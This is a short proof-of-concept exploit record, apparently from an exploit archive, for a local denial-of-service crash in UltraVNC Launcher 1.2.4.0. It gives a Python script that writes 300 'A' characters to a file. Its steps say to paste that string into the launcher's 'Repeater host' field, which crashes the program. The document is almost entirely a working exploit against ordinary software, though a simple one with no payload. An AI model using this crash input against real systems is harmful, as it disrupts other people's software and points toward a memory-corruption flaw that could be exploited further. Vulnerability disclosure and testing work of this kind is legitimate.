# Exploit Title: UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 2020-04-05 # Vendor Homepage: https://www.uvnc.com/ # Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0 # Tested Version: 1.2.4.0 # Vulnerability Type: Local # Tested on OS: Windows 10 Pro x64 es #Steps to produce the crash: #1.- Run python code: UltraVNC_1.2.40-Launcher_RepeaterHost.py #2.- Open UltraVNC_1.2.40-Launcher_RepeaterHost.txt and copy content to clipboard #3.- Open UltraVNC Launcher #4.- Select "Properties" #5.- In "Repeater host" Paste Clipboard #6.- Click on "OK" #7.- Crashed cod = "\x41" * 300 f = open('UltraVNC_1.2.40-Launcher_RepeaterHost.txt', 'w') f.write(cod) f.close()